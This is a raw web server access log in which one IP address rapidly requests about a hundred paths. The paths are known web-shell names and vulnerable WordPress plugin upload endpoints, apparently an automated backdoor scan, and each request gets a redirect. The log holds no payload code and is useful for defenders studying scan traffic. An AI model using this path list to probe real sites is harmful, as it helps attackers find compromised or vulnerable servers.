146.70.160.244 - - [30/Apr/2025:23:35:43 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:43 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:43 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:43 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:44 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:44 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:44 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:44 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:44 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:44 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:45 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:45 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:45 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:45 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:45 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:46 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:46 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:35:46 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:46 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:46 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:46 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:47 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:47 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:35:47 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:47 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:47 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:48 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:48 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:48 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.160.244 - - [30/Apr/2025:23:35:48 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:48 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:49 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:49 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:49 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:49 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:49 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:49 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:50 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:50 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:50 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.160.244 - - [30/Apr/2025:23:35:50 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:50 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:51 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:51 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:51 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:51 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:51 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:51 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:52 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:52 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:52 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.160.244 - - [30/Apr/2025:23:35:52 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:35:52 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:53 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:53 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.160.244 - - [30/Apr/2025:23:35:53 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:53 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:35:53 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:54 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:54 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:54 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:54 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:55 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:55 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:35:55 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:55 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:55 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:56 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:35:56 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:56 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:56 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.160.244 - - [30/Apr/2025:23:35:56 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:56 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:57 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:57 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:57 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:57 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:57 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:57 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:58 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:58 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:58 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:58 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:58 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:59 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:59 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:59 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:59 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:59 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:59 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:36:00 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:00 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:36:00 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:00 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.160.244 - - [30/Apr/2025:23:36:00 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:01 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:01 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:01 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:01 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:01 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:02 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:02 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:02 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:36:02 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:02 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:03 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:03 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:03 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - 